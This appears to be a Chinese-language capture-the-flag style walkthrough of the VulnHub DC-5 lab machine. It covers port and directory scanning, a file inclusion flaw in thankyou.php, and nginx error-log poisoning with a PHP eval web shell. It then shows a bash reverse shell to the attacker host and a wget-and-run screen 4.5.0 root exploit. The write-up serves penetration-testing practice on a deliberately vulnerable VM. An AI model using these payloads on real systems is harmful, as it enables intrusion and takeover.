一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:DC5(10.0.2.58)
目标:获取靶机root权限和flag
靶机下载地址:https://download.vulnhub.com/dc/DC-5.zip
二、信息收集
使用nmap主机发现靶机ip:10.0.2.58
使用nmap端口扫描发现靶机开放端口:80、111、40315
nmap -A 10.0.2.58 -p 1-65535
打开网站未发现可利用的功能点,查看源码也没有发现隐藏信息
使用gobuster和dirsearch工具爆破目录
gobuster dir -u http://10.0.2.58/ -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
dirsearch -u http://10.0.2.58
网站没有什么可利用的功能点,可以尝试对每一个爆破出来的php文件进行模糊性测试,看看也没有LFI。
发现thankyou.php文件存在文件包含漏洞
wfuzz -w /usr/share/wordlists/wfuzz/general/common.txt http://10.0.2.58/thankyou.php?FUZZ=/etc/passwd
三、漏洞利用
根据nmap的扫描结果,靶机使用nginx搭建网站,可以尝试包含nginx的配置文件。
http://10.0.2.58/thankyou.php?file=/etc/nginx/nginx.conf
配置文件中获得了nginx错误日志的路径和访问日志路径
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
直接包含nginx错误日志和访问日志,看看
发现错误日志包含成功,访问日志包含失败。那么我们可以利用错误日志来构造合法的php代码,从而利用包含漏洞
构造错误请求,写入错误日志,注意直接使用浏览器写入<
和>
会被url编码,使用蚁剑连接失败,使用burpsuite写入连接成功
http://10.0.2.58/thankyou.php?file=<?php @eval($_POST['pass']);?>
反弹shell
bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'
获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
四、提权
执行命令find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件,发现存在可以文件/bin/screen-4.5.0
使用searchsploit搜索screen v4.5.0的历史漏洞,发现存在提权漏洞
searchsploit screen 4.5.0
将exp下载下来,通过web服务上传到靶机,执行进行提权
cd /tmp
wget http://10.0.2.15/41154.sh
chmod +x 41154.sh
./41154.sh
获取flag